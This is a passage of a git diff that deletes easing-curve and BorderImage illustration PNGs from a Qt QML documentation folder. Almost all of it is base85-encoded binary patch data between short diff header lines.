z3#yZSz}VPWcXxMBPY>#Pxh~3l{0P!Q)x``b>3vmE`vUA~@6-GDON>zC0_^qJXFh(E z7@?L0P_y$0)T{u?^uBIETcg<6*DYuZG~qk~wYCo!A0O}T?hb`QE|*Jzx3>SlfsY?P zNQqEWGeGEl#m2tG-iKNeAeBlf-21XnBLZ+77Yc>$-@mVL@9#fwKw^X%5nyq@tvTDToOK0e;t+uPsYPY~Ms8#K+&03q?7K7CsGtJk{)VNbj=SP=HF%*IPKfHf0F@h#%Kq{4b@Zdo( z7{roz6B^ZwmCi4im)K&_e&LhS;m)_f4PZ$Z&$RGsF7sBsJ8IPU4w zr?+n1s!8)fsCplO7XBWOM?DMw5)K_c{O;{rDG}5=1E!{?`uqFu+_|IX;V-fGLA3&? zJon0oN(C4l9YuE?a5rQZ4jn!$F@hQeK)Ltk&6{dAA4F|h5E}j$FJ8pm5G7EZ02&(p zP?HvfZu@9u_)E7Sb?pPt(lZnafkytHsB}~`1JKg*-o1MoT6!KnaztVT6$vmpI%+nX z)xY!<^Y+afi4oKy0Lr~LZrspB?v)X>2!MvaR&uXEjaZO&hkuP&kVc2UEZ`SFyTc#k zups<@9}ta3&1SQjZ~E`Rn}r2!e=msVxo6LwX>|C@0%iez`Q<-o_~UIx)f_o`RAL02 z0&pDn^Ur_R^zi@JKc)WHM4SSQj*c3QChZP?SuiCM4Y;nou(1ET@BWfZeuJw4()q(5 zX^E47SXfw)t2I@SNHlmn%NQFV5$Wy6zYnN$)b)9Q=5V`zmDqfZ{fUx{uq-h@Z-%v} zeLI~i77IT=Z?;(YLc!qiEVC>zHMI{_Mm{4hAxZwkiIwf@yIfyLlF#Lg`Me2LcDcTk zyhJtYR{#KDSpxM`pSONd_zZK&%UK$1Lq{2h8!?a~rKk~}&_Pk%(m6vY(^262fv zf>0j-5{ZUHqG4)kpYZTVw8(TiS4v(A5$bvdRK#}AqZJSv3j&RI)af42a>+|nr>J``n9 z@mZJaOGy$&X#kaMemt$XKAH_vQzn#kt=6v;#m&t%2rq?SC-V9HUc9$5!MG7asj|d0 z%A`;*6beSMl~+yu?gMzf;;YZinFW*ac$Q^pc>P+?=A5}JvJCkW^dyWKT>#AJ0$@fL z05iG(n9&8mO#SWyRDwPOFry2A8C?L(=mKCy7XUN50GQDQ5RnMjY=MNb*EH}r$o=%a z&1SRNY~FwTx6JC_|CB2!P5fXh@@(fMg^LzCR1S zk8rp9ARO6t{93QShzHxCEf~*aGMP-byP6;X(E4y~!eoYgVJ{LXKiJXYZyFNHrM$W7 zP*i|?dKTJ_TT6?r$J<~wUG8@SstjVauK$X=-3QUvd4S||f7Ca$K9w*~PoD`F&8 zsO8m7S}Ka7Gr;O-LL+Y@`PWfsa+KQ-RR&20?CWNO!)vxd*&N_*_d)o_!HvC_jD*40 zUcL=f6(ku6!zQz_I-1J9>RzGnKHx%EEC~LVfUt1?-{0)suy3&I0?+eDTduZ6U&YXR zKN0YTLG*z^^mT4M$e=GO4w4A$8szBlHkeJL(%j&W#nKB`d{O`NVx0A2B~g4IVD&yv zr>~4S5Z5Pumrkd<+-v6oLGZUa91e$LnSkRSR}>#M7==U%+Iv}!beFUV?d zg6OL_&M&x1Lh}NEyDKJ`%R}wmj;MuwfYtjv?Zw@QYSI1-&^WpPnE5|5_dqS;rd&n< O0000Su+Fx diff --git a/src/qml/doc/images/qeasingcurve-outquart.png b/src/qml/doc/images/qeasingcurve-outquart.png deleted file mode 100644 index 6eac058d18c3ae39cba13be313eb34180c9413f7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2764 zcmV;-3N!VIP)Qk@6vax(qQ!V)s)ghh3PB|s z6O$#`>?S3fTD>8w?|9_9pa95dmNriQ^=mr{uo?P**3`)rkPW^Hd^1qvKtXgQpCSK@kA}0FD!R zp60j>p5N?i<+#o>s0D!nfQgCXE>{VdC8-E0U|A`Vpe0EX1h87gb8|Vj=0$4)$4OID zbX(g705FVXwMs}>(2{^)7^$vK%qVxcHe|7?t_J07&;^Oa_PT|(9@W)3TPkZgPD&<0 zUNtkI-oJmpFa8#WUT#J3Je5qEl!FFIZmwaJQHwT;yY5hoJfI*1fs$2s51=)2*D50b zrGQ~zWyJ^pJ_G@*R*iN+l?lU0>2$unibTxv9f52Ffy%WFEiMn(53oB>2rMhj&YG5& zH}~9$1f5Kp0AOOm+}OCzankZKI2@`tY9qJytk7M1V!!OYCe zgNBCT;o;%o;lCe0-qX{wy1Hup=_k}?ZwG3i(&@B%D|;pww0J!EW~f%6k-oCB^61f{ zuCA`Csw!08-rj!d)Tuq2{fcGZtLwlrm!OP(w_2@3LqlqMJOh=z57_g7{rfy%W@cu5 zd|dAL+qZAa{Z3ToQJynka&oe_x3{aSOWX0D4a;$9o>ya`+yWpE{F^s#o;h=7zb~h< z_o2)ZvB}BFo}M0>riX@xO3?e7P(CvN$xdkozKnVaDw7$2rT4**AOx=7*96@M0B`TJ z9H-KPzVm>|$;rOHzQMskr_+h$jqvZ@fx7GJcm~M5uSeyP(Q5z*>3#0tL6sJC8Gz~O zX%c!LkOZkie*q9habRHJ`t|GBdtVdu7l0>Eo>(lF^XJdwb_75R3DQ|6JUu-Fg z)-8%6;(NZ8B|)y4u4J1 zK>&yy{!j@LMELMmFF~aLe*oJ1x3;!o_j8{hdIpH1c<`6&|#k|b$rYRctu;dZ2G z)JqT%c|bfKH2XV2nw10$FN@a|pQ zWHKE+dK9l4dq%wkVa@{<7hjY#TS*VKY%v?k|ZrI{#TE8AY^J) zizm(iBoYalHrJ|_QH=ciUwZ!4#7HF4(9opEI}jRT4uz_4UHg|`j@Q(j#OQ!}{`6-~ z^bH+vuys%mLj#pr-a)ccP=6RvQG_&flk11fR5e^u$e&VI5?Lj-|ZSg^p> z)4m;!HLF!xSg=^FQaVkyw5$pO6^$N1jgihMOBhBvabhi3d#Cd=!$`@bDU~v##!lzw zj8oLIasvPWf9 zB%P+yX_HdQ_e|yH0g_bo)#v9evdFZwtZL$T zqKyy(6_3YDb**r}-8(lBe9&#%F8arS_lNbdc%M5pdfD^%l3W??w|ikM{$1>{=UPB+ z?i-7D`m>B|HO^%Om2aEzjm7)isQOMr@cTuNcLe_O*N%S<@3>H3Y5sA!grA6o{UhKT zQ+6BxeEoYL{LvrobK7=(jjj7Z5R{!7?)PRJad-N_o7)HgwB3luH!H*acJJkeO?!cB zp2o3wybl22Z@=3Sy%JG62};H0praw{%^hp#fVo(qUku1$#P$UvHrw_~+?_rMEN-^# z7zmbVr01eyJ`>JRA)K!4pma09R^PZi^0rAX2B5LN&{?0uNa_nl!u@v7wZ<{DYLAiA z`%uz6z}@MCkvpS1d+&e$83A8s;VQ7Jk+46%5w!YX)|woYG7tEscVYmpdHUszd#K<0 z!yVsf?>CYp9rax52t1xhZdHtc;?sh_VshKas4uY7h}}Dq-^kI14w#Ff(&XqJ*)+h8 zG-T(6N^w+VzK;2l%;)eDTf4QU8p2bu~@8B*V=_}_&09%uX}!ZYV5nV$CoDVdrP`=)D(T+ z3$oc8A@Dee^V_Xz(RTpA-8&(ROX*}oOLU(H*u3{+UffQoK<6_+{}=(l%>MyUR}!ej SL~IuT0000jthv64EBj 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 diff --git a/src/qml/doc/images/qeasingcurve-outsine.png b/src/qml/doc/images/qeasingcurve-outsine.png deleted file mode 100644 index d135b2f98cc8e25ba1edaf969ddbb676448590f3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2773 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 b05kswto|xFCrxa000000NkvXXu0mjfbp}4U diff --git a/src/qml/doc/images/qml-borderimage-normal-image.png b/src/qml/doc/images/qml-borderimage-normal-image.png deleted file mode 100644 index ae7460a7d71a32a2396306934ca2666c6ff1c280..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5282 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 XrWq6j>kef=0g(!W#;O#e%mV)hc=->$ diff --git a/src/qml/doc/images/qml-borderimage-scaled.png b/src/qml/doc/images/qml-borderimage-scaled.png deleted file mode 100644 index 8035c79f37ad346224e372620969c4f03347beb2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5580 zcmZ`-2{_bkyZ@7rErx6%#@N?1SrVebjGf4mp@xv%kabYKd9!EFnw?}Pd#EHk$(DUz zLzaYy^GxUa&UfDHT<4x^wr9Pc=YKE1-yNc-qfSf3P6a^_Ee4G;0N>TbHzg_fJc^mQ z1-?k!4b)Yjl3tEg@P{0ysg8n9iLZ>t{8-R(&J}Iy4ncGuiEom45xR?@k-`I`tx7RQ z$wDP0b*AH2B?Mj2!l0B5y~j4v{IwW6PTQ0wix-}<8sr9JLaONTa(oQ>?f2%+n7pSb zBB3Q4L=Ci{V2!c7YT*V18U|!CweaN(yRcwBZuV{Z#;D-g>#J;BxE!%W7%!#yXTyj$ z4bw{e&A*Gs4XDs!2R^@*>nkg-Y;^lgU)dd{<^5uZe8kPmOa5qLVge(qAR*zhLv=+TpPL_U-j;uYfRmw<6O@a)^ff%!`wqMNPH!B^^%+KGlu-HVNCQ|J~XZ{GoA6e*X`$QD8;@gEooqZUCcGH+xb5)JIjWqci z=3vVFJnu>oSSPz*HZP`)JG!@5r@)X35{`deTpV$KbZTnq$rIA#JXN?p1`{Hq`LRm& zhi{`rsj(mvRS;Z?C>5`XV*i@5wLDEzLjwh8&>lE@_H1Kgqi9!kRaJqZFchVco0gUq z3y=Qs!voSQ9P(^POSiycwe{l+g)dA5TfiAc=04k3nH4AGJxI5DY^yTH`K<`E?Z5uVH{Phh7^^Alh-|Q8dxf(a_efy>Bie;Dmw_M7f0FkmBM! z7Zf++q%vEx`)#C@gj-4~hQmyh*}3Gkp|EMf#@ZU`Be0r`rl(i`_|VW*t54xGGczYA zC!ap4#mFL&ZyZKSlunNsp#}V5rEOog&F)*D-M6knnkUZV)wIyMXG69uG}E80Zr-^z zR7jGMpZ`pg$2c1H#!SpOuSV>7kIj`;I(#iyB{P#}r!F&-XhX8H-k-wRP=c0X;!={5 zpGQXW^#tvbo$c*$tbfZJSz4Bke2a~Z?eMa9bo{ZqJ8yaPz4_FaTbvAHV`CHlsJt{* z(#pWj-kBR47yVR4!(A+HZVm@+nRrAy*y7K`Zhro@2gID~?|aF~$=xvqb` z4AuJWZ_1{&FyMzd)p@+=+~QiEoj>!a!+Ix2<6wh>o&ELg!aZMq2ZuuLi>pn$%YEM` z8%C_9Ohpr#nwplDmcm#h^78WRk?aDra94)xe)OCbECeAVQ&U*jWmCC*B`!W*E0gm80u+JQG?$S%RTi$H&Jw z9Bu($rI z`XFj}co-PI`*N>>|1ZO+p6Th+i8}WMcT3CZ&!0aZAMQ3MuJ2MLV;ek4ZYV30yug*4 z)Lwn_u1Q!}_|rbunYpBW)q}yIA-Ob|V7$gA165ZA2(bum`8o5Py1LP}wr6<{-rrmR z$CoR~u<1?3a8YNX-kQTf)U|dK4!$)}|4?(wfI@pfQBkp{r{_4P*`yeys)}v&jlY+e zlan(zI0#%X=4EQ?G0+8^wMkDg;22G~u#M+Z3g}K3{rlN7h2(CA>ZVjUeFMc0{k zs{{Fmv#KAvW_1}WD=T+*cb%liTfK|w)%AP4_kXT!)OX@SG*%v-e^Drf2iqq6>@IM2+?ypwl}}J1{_a^v`vS4 zXKxRLYRmnN@%^QqiB+^R3Cyz z+f9L3y3_+y<9%#weXZPivK}b-JUQY+f{GrTQiCi>3w6-P8>R0m0BKlI8Wk9dc3ITA zK5nRf^M)zAaOx6vQK_lUb(XZNVj;8n{ax35YYsd5)G%&A1~R@U87TTV$|o@8KP&y~ zGvuFL|9ilHy8h4H5bo(Z6o(h2l1Jj~DN;`8rY~x`tSnY2mN9j9eW@D2L zUJecplSr5cgY{c+cv+OZ*XEWOia&O;IdJ;Q5hI-OY2ND5{&#ozRv2%c`*LK8+7t07 z;a#d^%m#Pvh?GTvV5B{DQqyiMfJFWPnTwQ{M?wB|bVeArl^26LHAYu=*;4~Woy4Vv zs~H~{7?`|F+$x;7)p(6dc950}Z=L^9wF9p*i}I&AI4N~OLBVLX(?zrPAJQ>SME6<2Bhqg!5_@{zslHL``a!iBn2S)Tj@q!gK2D#|nsBJJ$xkQ`wwu zZnkQpdlU7&2kp83Ro~cn*$%M+556c~VcW;mt3vSi*G-ju%)H~zj`8%YE-jU?MF2A; z>H%Y!Jpfs<4BMoOfQ8(FDbr`7LPJC0a5$GDAu%!WV7BGiK)$ZKMDEWYKZ-0G$Lx?e zO>L!cwRw=X{d|4fd9(+f(Q*C)z!8U=19^uR4hQo;tJ3eATmM`iJtHO2NThi~RBRKBHg@|`(X_qO&#@JP4%=b2x5^O`Y&#sL+HBfNE zlR=$VzrfHAG5tK~m7#DxGx4Fcs;07c?0p;QN9WZ9nKuVa1_coxg9jKp`sP9G?Lt-F zq!Q+=A$u98v4syRz(mR$g0rImWX+1!GN$JF{q0YqTV3!i-u_h&TsdomwXaFAiRkdE 